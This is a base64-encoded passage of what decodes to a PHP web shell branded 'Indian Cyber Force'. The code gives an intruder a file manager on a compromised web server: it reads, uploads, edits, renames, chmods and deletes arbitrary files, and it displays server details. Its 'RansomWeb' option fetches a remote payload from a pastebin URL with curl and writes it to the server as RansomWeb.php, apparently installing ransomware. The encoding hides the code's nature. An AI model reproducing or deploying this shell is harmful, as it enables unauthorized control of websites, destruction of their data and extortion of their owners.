IHR5cGU9InN1Ym1pdCIgbmFtZT0idXBsb2FkIiB2YWx1ZT0iVXBsb2FkIj4KICAgICAgICAgICAg
ICAgPC9mb3JtPgogICAgICAgICAgICAgICA8L2NlbnRlcj4KICAgICAgICAgICAgICA8L2Rpdj4K
ICAgICAgICAgICAgPC9saT4KICAgICAgICAgIDwvdWw+CiAgICAgICAgPC9kaXY+CiAgICAgIDwv
bmF2PgogPGRpdiBjbGFzcz0iZC1mbGV4IiBpZD0id3JhcHBlciI+CiAgICA8IS0tIFNpZGViYXIg
LS0+CiAgICA8ZGl2IGNsYXNzPSJiZy1saWdodCBib3JkZXItcmlnaHQiIGlkPSJzaWRlYmFyLXdy
YXBwZXIiPgogICAgICA8ZGl2IGNsYXNzPSJzaWRlYmFyLWhlYWRpbmciPjxpIGNsYXNzPSJmYXMg
ZmEtdGFjaG9tZXRlci1hbHQiPjwvaT48YSBocmVmPSI/IiBjbGFzcz0idGV4dC1kYXJrIj4gSW5k
aWFuIEN5YmVyIEZvcmNlPC9hPjwvZGl2PgogICAgICA8ZGl2IGNsYXNzPSJsaXN0LWdyb3VwIGxp
c3QtZ3JvdXAtZmx1c2giPgogICAgICAJPD9waHAKICAgICAgCWVjaG8gIjxhIGhyZWY9Jz9wYXRo
PSRwYXRoJmFrc2k9YnVhdGZvbGRlcicgY2xhc3M9J2xpc3QtZ3JvdXAtaXRlbSBsaXN0LWdyb3Vw
LWl0ZW0tYWN0aW9uIGJnLWxpZ2h0Jz48aSBjbGFzcz0nZmFzIGZhLWZvbGRlci1vcGVuJz48L2k+
IEZvbGRlcnMg4KSw4KSa4KSv4KSo4KWN4KSk4KWBPC9hPgogICAgICAJPGEgaHJlZj0nP3BhdGg9
JHBhdGgmYWtzaT1idWF0ZmlsZScgY2xhc3M9J2xpc3QtZ3JvdXAtaXRlbSBsaXN0LWdyb3VwLWl0
ZW0tYWN0aW9uIGJnLWxpZ2h0Jz48aSBjbGFzcz0nZmFzIGZhLWZpbGUnPjwvaT4g4KS44KSe4KWN
4KSa4KS/4KSV4KS+4KSCIOCksOCkmuCkr+CkqOCljeCkpOClgTwvYT4KICAgICAgCTxhIGhyZWY9
Jz9wYXRoPSRwYXRoJmFrc2k9cmFuc29tJyBjbGFzcz0nbGlzdC1ncm91cC1pdGVtIGxpc3QtZ3Jv
dXAtaXRlbS1hY3Rpb24gYmctbGlnaHQnPjxpIGNsYXNzPSdmYSBmYS1leGNsYW1hdGlvbi10cmlh
bmdsZSc+PC9pPiBSYW5zb21XZWI8L2E+IjsKICAgICAgCT8+CiAgICAgICAgPGEgaHJlZj0nP2tl
bHVhcj10cnVlJyBjbGFzcz0nbGlzdC1ncm91cC1pdGVtIGxpc3QtZ3JvdXAtaXRlbS1hY3Rpb24g
YmctbGlnaHQnPjxpIGNsYXNzPSdmYXMgZmEtc2lnbi1vdXQtYWx0Jz48L2k+IOCksuClieCkl+Ck
huCkieCknzwvYT4KICAgICAgICAKICAgICAgPC9kaXY+CiAgICA8L2Rpdj4KICAgICAgPGRpdiBj
bGFzcz0iY29udGFpbmVyLWZsdWlkIj4KICAgICAgICAKICAgICAgICAKPD9waHAKaWYoJF9HRVRb
IuCkrOCkueCkv+CkgyDgpJfgpJrgpY3gpJvgpKTgpYEiXSA9PSB0cnVlKXsKdW5zZXQoJF9TRVNT
SU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pXSk7CgllY2hvICI8c2NyaXB0PndpbmRvdy5s
b2NhdGlvbj0nPyc7PC9zY3JpcHQ+IjsKfQppZigkX0dFVFsnYWtzaSddID09ICdidWF0Zm9sZGVy
Jyl7CglmdW5jdGlvbiBoYWkoKXsKCQllY2hvICI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbj0nP3Bh
dGg9Ii4kcGF0aC4iJzsgYWxlcnQoJ0ZvbGRlciDgpLjgpKvgpLLgpKTgpL4g4KSV4KWD4KSk4KS+
IScpPC9zY3JpcHQ+IjsKCX0KCWlmKGlzc2V0KCRfUE9TVFsiZm9sZGVyc3MiXSkpewoJCSRuYW1h
X2ZvbGRlciA9ICRwYXRoLicvJy4kX1BPU1RbIm5hbWFGIl07CgkJbWtkaXIoJG5hbWFfZm9sZGVy
LGhhaSgpKTsKCX0KCQkKCWVjaG8gJwoJPGRpdiBjbGFzcz0icm93IG10LTMiPgoJCTxkaXYgY2xh
c3M9ImNvbCI+CgkJCTxmb3JtIG1ldGhvZD0icG9zdCI+Cgk8aW5wdXQgdHlwZT0idGV4dCIgbmFt
ZT0ibmFtYUYiIGNsYXNzPSJmb3JtLWNvbnRyb2wgbWItMyIgcGxhY2Vob2xkZXI9Ik5hbWEgRm9s
ZGVyIj4KCQk8L2Rpdj4KCQk8ZGl2IGNsYXNzPSJjb2wiPgoJCQk8aW5wdXQgdHlwZT0ic3VibWl0
IiBjbGFzcz0iYnRuIGJ0bi1vdXRsaW5lLXByaW1hcnkgYnRuLWJsb2NrIiB2YWx1ZT0iQnVhdCIg
bmFtZT0iZm9sZGVyc3MiPjwvZm9ybT4KCQkJCTwvZGl2PgoJCQkJPC9kaXY+JzsKfWVsc2VpZigk
X0dFVFsi4KSo4KS+4KSu4KSq4KSk4KWN4KSwIl0gPT0gJ3JhbnNvbScpewoKCSR1cmwgID0gImh0
dHBzOi8vcGFzdGViaW4uY29tL3Jhdy9MYlZoTm5aRiI7CiAgJGN1cmwgPSBjdXJsX2luaXQoJHVy
bCk7CiAgCQkJCWN1cmxfc2V0b3B0KCRjdXJsLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLHRydWUp
OwogICRnZXQJPSBjdXJsX2V4ZWMoJGN1cmwpOwogaWYoISRnZXQgPT0gIiIpewokcHV0cyA9IGZv
cGVuKCJSYW5zb21XZWIucGhwIiwidyIpOwoJCQkJZndyaXRlKCRwdXRzLCRnZXQpOwoJCQkJZmNs
b3NlKCRwdXRzKTsKJG5hbWFfZmlsZSAgPSAiUmFuc29tV2ViLnBocCI7CiRzZXJ2ZXJfd2ViID0g
J2h0dHA6Ly8nLiRfU0VSVkVSWyJIVFRQX0hPU1QiXS4nLyc7CmlmKCRwdXRzID09IHRydWUpewoJ
ZWNobyAiPHNjcmlwdD53aW5kb3cubG9jYXRpb249Jz9wYXRoPSIuJHBhdGguIic7IGFsZXJ0KCfg
pLjgpKvgpLLgpKTgpL4nKTwvc2NyaXB0PiI7Cn1lbHNlewoJZWNobyAi4KSF4KSo4KWB4KSk4KWN
4KSk4KWA4KSw4KWN4KSj4KSDIOCkqOCkv+CksOCljeCkruClgOCkr+CkpOCkvuCkruCljeKAjCBG
aWxlIjsKCX0KfWVsc2V7CgllY2hvICJOb3QgRm91bmQhISI7Cn0KCgkKfWVsc2VpZigkX0dFVFsi
4KSo4KS+4KSu4KSq4KSk4KWN4KSwIl0gPT0gJ2NyZWF0ZWZpbGUg4KSH4KSk4KS/Jyl7CglpZihp
c3NldCgkX1BPU1RbIuCkleClg+CkpOClhyJdKSl7CgkkbmFtYUYgPSAkcGF0aC4nLycuJF9QT1NU
WyLgpLjgpJ7gpY3gpJrgpL/gpJXgpL5f4KSo4KS+4KSuIl07CgkkaXNpID0gJF9QT1NUWyLgpLXg
pL/gpLfgpK/gpIMiXTsKCSRidWF0ID0gZm9wZW4oJG5hbWFGLCJ3Iik7Cglmd3JpdGUoJGJ1YXQs
JGlzaSk7CglmY2xvc2UoJGJ1YXQpOwoJaWYoJGJ1YXQgPT0gVFJVRSl7CgkJZWNobyAiPHNjcmlw
dD53aW5kb3cubG9jYXRpb249Jz9wYXRoPSIuJHBhdGguIic7IGFsZXJ0KCfgpLjgpKvgpLLgpKTg
pL4nKTwvc2NyaXB0PiI7Cn1lbHNlewplY2hvICI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbj0nP3Bh
dGg9Ii4kcGF0aC4iJzsgYWxlcnQoJ+CkheCkqOClgeCkpOCljeCkpOClgOCksOCljeCko+CkgyEh
IScpPC9zY3JpcHQ+IjsKfQp9CmVjaG8gJzxmb3JtIG1ldGhvZD0icG9zdCIgY2xhc3M9Im10LTMi
PgoJPGlucHV0IHR5cGU9InRleHQiIGNsYXNzPSJmb3JtLWNvbnRyb2wgbWItMyIgcGxhY2Vob2xk
ZXI9Ik5hbWEgRmlsZSIgbmFtZT0ibmFtYV9maWxlIj4KCQk8dGV4dGFyZWEgY2xhc3M9ImZvcm0t
Y29udHJvbCBtYi0zIiByb3dzPSI4IiBuYW1lPSJpc2kiIHBsYWNlaG9sZGVyPSJJc2kgRmlsZSI+
PC90ZXh0YXJlYT4KCQk8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJidWF0IiBjbGFzcz0iYnRu
IGJ0bi1vdXRsaW5lLXByaW1hcnkiIHZhbHVlPSJCdWF0Ij4nOwp9ZWxzZQppZihpc3NldCgkX0dF
VFsiaW5mbyJdKSl7CmVjaG8gJwoJPGRpdiBjbGFzcz0iYWxlcnQgYWxlcnQtc3VjY2VzcyBtdC0z
Ij4KCQk8aDMgY2xhc3M9InRleHQtY2VudGVyIj7gpLjgpYLgpJrgpKjgpL4gU2VydmVyPC9oMz48
aHI+CgkJPGxpPk5hbWEgU2VydmVyIDogJy4kX1NFUlZFUlsiU0VSVkVSX05BTUUiXS4nPC9saT4K
CQk8bGk+SXAgQWRkcmVzcyA6ICcuJF9TRVJWRVJbIlNFUlZFUl9BRERSIl0uJzwvbGk+CgkJPGxp
PlBvcnQgOiAnLiRfU0VSVkVSWyJTRVJWRVJfUE9SVCJdLic8L2xpPgoJCTxsaT7gpKrgpY3gpLDg
pYvgpJ/gpYvgpJXgpYngpLIgOiAnLiRfU0VSVkVSWyJTRVJWRVJfUFJPVE9DT0wiXS4nPC9saT4K
CQk8bGk+U2F2ZSBEYXRhIDogJy4kX1NFUlZFUlsiSFRUUF9TQVZFX0RBVEEiXS4nPC9saT4KCQk8
bGk+4KS44KSC4KSs4KSo4KWN4KSn4KSDIDogJy4kX1NFUlZFUlsiSFRUUF9DT05ORUNUSU9OIl0u
JzwvbGk+CgkJPGxpPlNvZnR3YXJlIDogJy4kX1NFUlZFUlsiU0VSVkVSX1NPRlRXQVJFIl0uJzwv
bGk+CgkJPGxpPkRva3VtZW4gUm9vdCA6ICcuJF9TRVJWRVJbIkRPQ1VNRU5UX1JPT1QiXS4nPC9s
aT4KCQk8bGk+Ry1JbnRlcmZhY2UgOiAnLiRfU0VSVkVSWyJHQVRFV0FZX0lOVEVSRkFDRSJdLic8
L2xpPgoJCTxsaT5SLU1ldGhvZCA6ICcuJF9TRVJWRVJbIlJFUVVFU1RfTUVUSE9EIl0uJzwvbGk+
CgkJPGxpPllvdXIgQnJvd3NlciA6ICcuJF9TRVJWRVJbIkhUVFBfVVNFUl9BR0VOVCJdLic8L2xp
PgoJCTwvZGl2Pic7Cn1lbHNlIGlmKGlzc2V0KCRfRklMRVNbJ2ZpbGUnXSkpewppZihjb3B5KCRf
RklMRVNbJ2ZpbGUnXVsndG1wX25hbWUnXSwkcGF0aC4nLycuJF9GSUxFU1snZmlsZSddWyduYW1l
J10pKXsKZWNobyAiPHNjcmlwdD53aW5kb3cubG9jYXRpb249Jz9wYXRoPSIuJHBhdGguIic7IGFs
ZXJ0KCfgpK7gpL7gpKjgpY3gpK8hIScpPC9zY3JpcHQ+IjsKfWVsc2V7CmVjaG8gIjxzY3JpcHQ+
YWxlcnQoJ+CkheCkqOClgeCkpOCljeCkpOClgOCksOCljeCko+CkgyBVcGxvYWQnKTwvc2NyaXB0
PiI7Cn0KfWVsc2UgaWYoaXNzZXQoJF9HRVRbJ2ZpbGVzcmMnXSkpewplY2hvICI8dHI+PHRkPkN1
cnJlbnQgRmlsZSA6ICI7CmVjaG8gJF9HRVRbJ2ZpbGVzcmMnXTsKZWNobyAnPC90cj48L3RkPjwv
dGFibGU+PGJyIC8+JzsKZWNobygnPHByZT4nLmh0bWxzcGVjaWFsY2hhcnMoZmlsZV9nZXRfY29u
dGVudHMoJF9HRVRbJ2ZpbGVzcmMnXSkpLic8L3ByZT4nKTsKfWVsc2UgaWYoaXNzZXQoJF9HRVRb
J29wdGlvbiddKSAmJiAkX1BPU1RbJ29wdCddICE9ICdkZWxldGUnKXsKZWNobyAnPC90YWJsZT48
YnIgLz48Y2VudGVyPicuJF9QT1NUWydwYXRoJ10uJzxiciAvPjxiciAvPic7CmlmKCRfUE9TVFsn
b3B0J10gPT0gJ2NobW9kJyl7CmlmKGlzc2V0KCRfUE9TVFsncGVybSddKSl7CmlmKGNobW9kKCRf
UE9TVFsncGF0aCddLCRfUE9TVFsncGVybSddKSl7CmVjaG8gIjxzY3JpcHQ+d2luZG93LmxvY2F0
aW9uPSc/cGF0aD0iLiRwYXRoLiInOyBhbGVydCgnU3Vrc2VzJyk8L3NjcmlwdD4iOwp9ZWxzZXsK
ZWNobyAiPHNjcmlwdD53aW5kb3cubG9jYXRpb249Jz9wYXRoPSIuJHBhdGguIic7IGFsZXJ0KCfg
pIXgpKjgpYHgpKTgpY3gpKTgpYDgpLDgpY3gpKPgpIMhISEnKTwvc2NyaXB0PiI7Cn0KfQplY2hv
ICc8Zm9ybSBtZXRob2Q9IlBPU1QiPgoJPGRpdiBjbGFzcz0icm93Ij4KCQk8ZGl2IGNsYXNzPSJj
b2wiPgo8aW5wdXQgbmFtZT0icGVybSIgdHlwZT0idGV4dCIgc2l6ZT0iNCIgdmFsdWU9Iicuc3Vi
c3RyKHNwcmludGYoJyVvJywgZmlsZXBlcm1zKCRfUE9TVFsncGF0aCddKSksIC00KS4nIiBjbGFz
cz0iZm9ybS1jb250cm9sIj4KCTwvZGl2Pgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRo
IiB2YWx1ZT0iJy4kX1BPU1RbJ3BhdGgnXS4nIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0i
b3B0IiB2YWx1ZT0iY2htb2QiPgoJPGRpdiBjbGFzcz0iY29sIj4KPGlucHV0IHR5cGU9InN1Ym1p
dCIgdmFsdWU9IkdvIiBjbGFzcz0iYnRuIGJ0bi1vdXRsaW5lLXByaW1hcnkgYnRuLWJsb2NrIj4K
CTwvZGl2PgoJPC9kaXY+CjwvZm9ybT4nOwp9ZWxzZSBpZigkX1BPU1RbJ29wdCddID09ICdyZW5h
bWUnKXsKaWYoaXNzZXQoJF9QT1NUWyduZXduYW1lJ10pKXsKaWYocmVuYW1lKCRfUE9TVFsncGF0
aCddLCRwYXRoLicvJy4kX1BPU1RbJ25ld25hbWUnXSkpewplY2hvICI8c2NyaXB0PndpbmRvdy5s
b2NhdGlvbj0nP3BhdGg9Ii4kcGF0aC4iJzsgYWxlcnQoJ+CkqOCkvuCkriDgpKzgpKbgpLIg4KSm
4KS/4KSv4KS+IOCkl+Ckr+CkviDgpLngpYghJyk8L3NjcmlwdD4iOwp9ZWxzZXsKZWNobyAiPHNj
cmlwdD53aW5kb3cubG9jYXRpb249Jz9wYXRoPSIuJHBhdGguIic7IGFsZXJ0KCfgpIXgpKjgpYHg
pKTgpY3gpKTgpYDgpLDgpY3gpKPgpIMhISEnKTwvc2NyaXB0PiI7Cn0KJF9QT1NUWyduYW1lJ10g
PSAkX1BPU1RbJ25ld25hbWUnXTsKfQplY2hvICc8Zm9ybSBtZXRob2Q9IlBPU1QiPgoJPGRpdiBj
bGFzcz0icm93Ij4KCQk8ZGl2IGNsYXNzPSJjb2wiPgo8aW5wdXQgbmFtZT0ibmV3bmFtZSIgdHlw
ZT0idGV4dCIgc2l6ZT0iMjAiIHZhbHVlPSInLiRfUE9TVFsnbmFtZSddLiciIGNsYXNzPSJmb3Jt
LWNvbnRyb2wiIHBsYWNlaG9sZGVyPSJOYW1hIEJhcnUiPgoJPC9kaXY+CjxpbnB1dCB0eXBlPSJo
aWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRfUE9TVFsncGF0aCddLiciPgo8aW5wdXQgdHlw
ZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJyZW5hbWUiPgoJPGRpdiBjbGFzcz0iY29sIj4K
PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkdvIiBjbGFzcz0iYnRuIGJ0bi1vdXRsaW5lLXBy
aW1hcnkgYnRuLWJsb2NrIj4KPC9kaXY+CjwvZGl2Pgo8L2Zvcm0+JzsKfWVsc2UgaWYoJF9QT1NU
WydvcHQnXSA9PSAnZWRpdCcpewppZihpc3NldCgkX1BPU1RbJ3NyYyddKSl7CiRmcCA9IGZvcGVu
KCRfUE9TVFsncGF0aCddLCd3Jyk7CmlmKGZ3cml0ZSgkZnAsJF9QT1NUWydzcmMnXSkpewplY2hv
ICI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbj0nP3BhdGg9Ii4kcGF0aC4iJzsgYWxlcnQoJ+CkuOCk
q+CksuCkpOCkr+CkviDgpKjgpL7gpK4g4KSq4KSw4KS/4KS14KSw4KWN4KSk4KS/4KSk4KSu4KWN
IEZpbGUnKTwvc2NyaXB0PiI7Cn1lbHNlewplY2hvICI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbj0n
P3BhdGg9Ii4kcGF0aC4iJzsgYWxlcnQoJ+CkheCkqOClgeCkpOCljeCkpOClgOCksOCljeCko+Ck
gyEhIScpPC9zY3JpcHQ+IjsKfQpmY2xvc2UoJGZwKTsKfQplY2hvICc8Zm9ybSBtZXRob2Q9IlBP
U1QiPgo8dGV4dGFyZWEgY2xhc3M9ImZvcm0tY29udHJvbCIgcm93cz0iOCIgbmFtZT0ic3JjIj4n
Lmh0bWxzcGVjaWFsY2hhcnMoZmlsZV9nZXRfY29udGVudHMoJF9QT1NUWydwYXRoJ10pKS4nPC90
ZXh0YXJlYT4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icGF0aCIgdmFsdWU9IicuJF9QT1NU
WydwYXRoJ10uJyI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9wdCIgdmFsdWU9ImVkaXQi
Pgo8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0i4KSw4KSV4KWN4KS34KWNIiBjbGFzcz0iYnRu
IGJ0bi1vdXRsaW5lLXByaW1hcnkgYnRuLWJsb2NrIG10LTMiPgo8L2Zvcm0+JzsKfQplY2hvICc8
L2NlbnRlcj4nOwp9ZWxzZXsKZWNobyAnPC90YWJsZT48YnIvPjxjZW50ZXI+JzsKaWYoaXNzZXQo
JF9HRVRbJ29wdGlvbiddKSAmJiAkX1BPU1RbJ29wdCddID09ICdkZWxldGUnKXsKaWYoJF9QT1NU
Wyd0eXBlJ10gPT0gJ2RpcicpewppZihybWRpcigkX1BPU1RbJ3BhdGgnXSkpewplY2hvICI8c2Ny
aXB0PndpbmRvdy5sb2NhdGlvbj0nP3BhdGg9Ii4kcGF0aC4iJzsgYWxlcnQoJ+CkuOCkq+CksiBE
ZWxldGUgRm9sZGVyJyk8L3NjcmlwdD4iOwp9ZWxzZXsKZWNobyAiPHNjcmlwdD53aW5kb3cubG9j
YXRpb249Jz9wYXRoPSIuJHBhdGguIic7IGFsZXJ0KCfgpIXgpKjgpYHgpKTgpY3gpKTgpYDgpLDg
pY3gpKPgpIMhISEnKTwvc2NyaXB0PiI7Cn0KfWVsc2UgaWYoJF9QT1NUWyd0eXBlJ10gPT0gJ2Zp
bGUnKXsKaWYodW5saW5rKCRfUE9TVFsncGF0aCddKSl7CmVjaG8gIjxzY3JpcHQ+d2luZG93Lmxv
Y2F0aW9uPSc/cGF0aD0iLiRwYXRoLiInOyBhbGVydCgn4KS44KSr4KSyIERlbGV0ZSBGaWxlJyk8
L3NjcmlwdD4iOwp9ZWxzZXsKZWNobyAiPHNjcmlwdD53aW5kb3cubG9jYXRpb249Jz9wYXRoPSIu
JHBhdGguIic7IGFsZXJ0KCfgpIXgpKjgpYHgpKTgpY3gpKTgpYDgpLDgpY3gpKPgpIMhISEnKTwv
c2NyaXB0PiI7Cn0KfQp9CmVjaG8gJzwvY2VudGVyPic7CiRzY2FuZGlyID0gc2NhbmRpcigkcGF0
aCk7CmVjaG8gJwo8ZGl2IGNsYXNzPSJ0YWJsZS1yZXNwb25zaXZlLWxnIG10LTIiPgoJPHRhYmxl
IGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI+CgkJPHRoZWFkIGNsYXNzPSJiZy13YXJuaW5nIHRl
eHQtY2VudGVyIj4KCQkJPHRyPgoJCQkJPHRoIHNjb3BlPSJjb2wiPuCkqOCkvuCkruCkgzwvdGg+
CgkJCQk8dGggc2NvcGU9ImNvbCI+4KSq4KWN4KSw4KSV4KS+4KSw4KSDPC90aD4KCQkJCTx0aCBz
Y29wZT0iY29sIj7gpIbgpJXgpYPgpKTgpL88L3RoPgoJCQkJPHRoIHNjb3BlPSJjb2wiPuCkheCk
qOClgeCknOCljeCknuCkvuCkquCkpOCljeCksOCkruCljTwvdGg+CgkJCQk8dGggc2NvcGU9ImNv
bCI+4KSo4KS+4KSu4KSq4KSk4KWN4KSwPC90aD48L3RyPjwvdGhlYWQ+CgknOwoJZm9yZWFjaCgk
c2NhbmRpciBhcyAkZGlyKXsKaWYoIWlzX2RpcigkcGF0aC4nLycuJGRpcikgfHwgJGRpciA9PSAn
LicgfHwgJGRpciA9PSAnLi4nKSBjb250aW51ZTsKZWNobyAnPHRyPgo8dGQgc2NvcGU9ImNvbCI+
PGltZyBzcmM9Imh0dHA6Ly9hdXguaWNvbnNwYWxhY2UuY29tL3VwbG9hZHMvZm9sZGVyLWljb24t
MjU2LTE3ODc2NzI0ODIucG5nIiBjbGFzcz0iaWNvIj4gPGEgaHJlZj0iP3BhdGg9Jy4kcGF0aC4n
LycuJGRpci4nIj4nLiRkaXIuJzwvYT48L3RkPgo8dGQgY2xhc3M9InRleHQtY2VudGVyIj5Gb2xk
ZXI8L3RkPgo8dGQgY2xhc3M9InRleHQtY2VudGVyIj4tLTwvdGQ+Cjx0ZCBjbGFzcz0idGV4dC1j
ZW50ZXIiPic7CmlmKGlzX3dyaXRhYmxlKCRwYXRoLicvJy4kZGlyKSkgZWNobyAnPGZvbnQgY29s
b3I9ImdyZWVuIj4nOwplbHNlaWYoIWlzX3JlYWRhYmxlKCRwYXRoLicvJy4kZGlyKSkgZWNobyAn
PGZvbnQgY29sb3I9InJlZCI+JzsKZWNobyBwZXJtcygkcGF0aC4nLycuJGRpcik7CmlmKGlzX3dy
aXRhYmxlKCRwYXRoLicvJy4kZGlyKSB8fCAhaXNfcmVhZGFibGUoJHBhdGguJy8nLiRkaXIpKSBl
Y2hvICc8L2ZvbnQ+JzsKCmVjaG8gJzwvdGQ+Cjx0ZCBjbGFzcz0idGV4dC1jZW50ZXIiPjxmb3Jt
IG1ldGhvZD0iUE9TVCIgYWN0aW9uPSI/b3B0aW9uJnBhdGg9Jy4kcGF0aC4nIj4KCTxkaXYgY2xh
c3M9InJvdyI+CgkJPGRpdiBjbGFzcz0iY29sIj4KPHNlbGVjdCBuYW1lPSJvcHQiIGNsYXNzPSJj
dXN0b20tc2VsZWN0Ij4KPG9wdGlvbiB2YWx1ZT0iIj5TZWxlY3Q8L29wdGlvbj4KPG9wdGlvbiB2
YWx1ZT0iZGVsZXRlIj5EZWxldGU8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iY2htb2QiPkNobW9k
PC9vcHRpb24+CjxvcHRpb24gdmFsdWU9InJlbmFtZSI+UmVuYW1lPC9vcHRpb24+Cjwvc2VsZWN0
Pgo8L2Rpdj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0idHlwZSIgdmFsdWU9ImRpciI+Cjxp
bnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im5hbWUiIHZhbHVlPSInLiRkaXIuJyI+CjxpbnB1dCB0
eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRwYXRoLicvJy4kZGlyLiciPgoJPGRp
diBjbGFzcz0iY29sIj4KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9Ij4iIGNsYXNzPSJidG4g
YnRuLW91dGxpbmUtcHJpbWFyeSBidG4tYmxvY2siPgoJPC9kaXY+Cgk8L2Rpdj4KPC9mb3JtPjwv
dGQ+CjwvdHI+JzsKfQpmb3JlYWNoKCRzY2FuZGlyIGFzICRmaWxlKXsKaWYoIWlzX2ZpbGUoJHBh
dGguJy8nLiRmaWxlKSkgY29udGludWU7CiRzaXplID0gZmlsZXNpemUoJHBhdGguJy8nLiRmaWxl
KS8xMDI0Owokc2l6ZSA9IHJvdW5kKCRzaXplLDMpOwppZigkc2l6ZSA+PSAxMDI0KXsKJHNpemUg
PSByb3VuZCgkc2l6ZS8xMDI0LDIpLicgTUInOwp9ZWxzZXsKJHNpemUgPSAkc2l6ZS4nIEtCJzsK
fQoKZWNobyAnPHRyPgo8dGQ+PGltZyBzcmM9Iic7CgkJCQkJJGV4dCA9IHN0cnRvbG93ZXIocGF0
aGluZm8oJGZpbGUsIFBBVEhJTkZPX0VYVEVOU0lPTikpOwoJCQkJCWlmKCRleHQgPT0gInBocCIp
IHsKCQkJCQkJZWNobwkKCQkJJ2h0dHA6Ly9pLmltZ3VyLmNvbS9lOG1rdlBmLnBuZyInOyAKCQkJ
CQl9ZWxzZWlmICgkZXh0ID09ICJqcGVnIikgewoJCQkJCQllY2hvICdodHRwOi8vaS5pbWd1ci5j
b20vZThta3ZQZi5wbmciJzsgCgkJCQkJfWVsc2VpZiAoJGV4dCA9PSAicGwiKSB7CgkJCQkJCWVj
aG8gJ2h0dHA6Ly9pLmltZ3VyLmNvbS9Qbm1YOEg5LnBuZyc7IAoJCQkJCX1lbHNlewoJCQkJCQll
Y2hvICdodHRwOi8vaWNvbnMuaWNvbmFyY2hpdmUuY29tL2ljb25zL3pob29sZWdvL21hdGVyaWFs
LzI1Ni9GaWxldHlwZS1Eb2NzLWljb24ucG5nJzsKCQkJCQl9CgkJCQkJZWNobyAnIiBjbGFzcz0i
aWNvMiI+IDxhIGhyZWY9Ij9maWxlc3JjPScuJHBhdGguJy8nLiRmaWxlLicmcGF0aD0nLiRwYXRo
LiciPicuJGZpbGUuJzwvYT48L3RkPgo8dGQgY2xhc3M9InRleHQtY2VudGVyIj5GaWxlPC90ZD4K
PHRkIGNsYXNzPSJ0ZXh0LWNlbnRlciI+Jy4kc2l6ZS4nPC90ZD4KPHRkIGNsYXNzPSJ0ZXh0LWNl
bnRlciI+JzsKaWYoaXNfd3JpdGFibGUoJHBhdGguJy8nLiRmaWxlKSkgZWNobyAnPGZvbnQgY29s
b3I9ImdyZWVuIj4nOwplbHNlaWYoIWlzX3JlYWRhYmxlKCRwYXRoLicvJy4kZmlsZSkpIGVjaG8g
Jzxmb250IGNvbG9yPSJyZWQiPic7CmVjaG8gcGVybXMoJHBhdGguJy8nLiRmaWxlKTsKaWYoaXNf
d3JpdGFibGUoJHBhdGguJy8nLiRmaWxlKSB8fCAhaXNfcmVhZGFibGUoJHBhdGguJy8nLiRmaWxl
KSkgZWNobyAnPC9mb250Pic7CmVjaG8gJzwvdGQ+Cjx0ZCBjbGFzcz0idGV4dC1jZW50ZXIiPgoJ
PGZvcm0gbWV0aG9kPSJQT1NUIiBhY3Rpb249Ij9vcHRpb24mcGF0aD0nLiRwYXRoLiciPgoJCTxk
aXYgY2xhc3M9InJvdyI+CgkJCTxkaXYgY2xhc3M9ImNvbCI+CjxzZWxlY3QgbmFtZT0ib3B0IiBj
bGFzcz0iY3VzdG9tLXNlbGVjdCI+CjxvcHRpb24gdmFsdWU9IiI+U2VsZWN0PC9vcHRpb24+Cjxv
cHRpb24gdmFsdWU9ImRlbGV0ZSI+RGVsZXRlPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9ImNobW9k
Ij5DaG1vZDwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSJyZW5hbWUiPlJlbmFtZTwvb3B0aW9uPgo8
b3B0aW9uIHZhbHVlPSJlZGl0Ij5FZGl0PC9vcHRpb24+Cjwvc2VsZWN0Pgo8L2Rpdj4KPGlucHV0
IHR5cGU9ImhpZGRlbiIgbmFtZT0idHlwZSIgdmFsdWU9ImZpbGUiPgo8aW5wdXQgdHlwZT0iaGlk
ZGVuIiBuYW1lPSJuYW1lIiB2YWx1ZT0iJy4kZmlsZS4nIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIg
bmFtZT0icGF0aCIgdmFsdWU9IicuJHBhdGguJy8nLiRmaWxlLiciPgoJPGRpdiBjbGFzcz0iY29s
Ij4KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9Ik9LIiBjbGFzcz0iYnRuIGJ0bi1vdXRsaW5l
LXByaW1hcnkgYnRuLWJsb2NrIj4KCTwvZGl2PgoJPC9kaXY+CjwvZm9ybT48L3RkPgo8L3RyPic7
Cn0KZWNobyAnPC90YWJsZT4KPC9kaXY+JzsKfQo/PiAgICAgICAgICAKICAgICAgPC9kaXY+CiAg
ICA8L2Rpdj4KICA8L2Rpdj4KICA8c2NyaXB0IHNyYz0iaHR0cHM6Ly9jb2RlLmpxdWVyeS5jb20v
anF1ZXJ5LTMuMy4xLnNsaW0ubWluLmpzIiBpbnRlZ3JpdHk9InNoYTM4NC1xOGkvWCs5NjVEek8w
clQ3YWJLNDFKU3RRSUFxVmdSVnpwYnpvNXNtWEtwNFlmUnZIKzhhYnRURTFQaTZqaXpvIiBjcm9z
c29yaWdpbj0iYW5vbnltb3VzIj48L3NjcmlwdD4KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nk
